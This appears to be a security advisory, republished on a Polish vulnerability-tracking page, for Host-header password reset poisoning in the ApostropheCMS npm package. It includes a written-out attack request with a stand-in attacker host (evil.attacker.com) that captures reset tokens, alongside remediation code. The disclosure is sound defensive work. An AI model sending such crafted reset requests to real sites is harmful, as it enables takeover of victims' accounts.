Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation
Summary
ApostropheCMS's password reset flow constructs the reset URL using req.hostname,
which is derived directly from the attacker-controlled HTTP Host header when
apos.baseUrl is not explicitly configured. An unauthenticated attacker who knows
a victim's email address can send a crafted reset request that causes the application
to email the victim a reset link pointing to the attacker's domain. When the victim
clicks the link, the valid reset token is delivered to the attacker, enabling full
account takeover.
Affected Component
modules/@apostrophecms/login/index.js — resetRequest route
Precondition: passwordReset: true is set and apos.baseUrl is not configured.
Vulnerability Details
The setPrefixUrls middleware (i18n layer) builds req.baseUrl using req.hostname:
// Simplified from i18n middleware
req.baseUrl = `${req.protocol}://${req.hostname}`;
req.absoluteUrl = req.baseUrl + req.url;
The resetRequest handler then passes this tainted value directly into URL construction:
const parsed = new URL(
req.absoluteUrl, // ← tainted by attacker's Host header
self.apos.baseUrl
? undefined
: `${req.protocol}://${req.hostname}${port}` // ← also tainted
);
parsed.pathname = '/login';
parsed.searchParams.append('reset', reset); // real, valid token
parsed.searchParams.append('email', user.email);
await self.email(..., { url: parsed.toString() }, ...);
// Email sent to victim with URL pointing to attacker-controlled domain
When apos.baseUrl is configured, it is used unconditionally and the attacker's
Host header is ignored — that path is not vulnerable.
Attack Scenario
- Attacker identifies a valid user email (e.g. from the site's public interface).
- Attacker sends:
POST /api/v1/login/reset-request
Host: evil.attacker.com
Content-Type: application/json
{"email": "victim@example.com"}
- The application emails the victim:
Click here to reset your password:
http://evil.attacker.com/login?reset=TOKEN&email=victim@example.com
- Victim clicks the link; attacker's server captures
TOKEN. - Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover.
Preconditions
passwordReset: trueconfigured in login module options (opt-in)apos.baseUrlis not set (common in development and some production deployments)- Attacker knows or can enumerate a valid account email
Impact
Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site.
Remediation
Operators (immediate): Always set apos.baseUrl in your configuration:
// app.js or module configuration
modules: {
'@apostrophecms/express': {
options: {
baseUrl: 'https://yourdomain.com'
}
}
}
Framework fix (recommended): The resetRequest route should refuse to proceed
if apos.baseUrl is not configured, rather than falling back to the tainted
req.hostname. Example:
// In resetRequest handler
if (!self.apos.baseUrl) {
throw self.apos.error(
'invalid',
'apos.baseUrl must be configured to enable password reset'
);
}
const parsed = new URL(self.loginUrl(), self.apos.baseUrl);
This eliminates the attacker-controlled input entirely from the URL construction path.
References
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | apostrophe | <= 4.29.0 | brak poprawki |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N- Słabość (CWE)
CWE-20, CWE-640- Platforma
- npm
- Paczka
apostrophe- Ujawniono
- 14.05.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-gf43-24g3-5hw2 - CC BY 4.0
Historia podatności: apostrophe
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 27
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 4
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 8
- Średnia 13
- Niska 4
Ujawnienia w latach
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.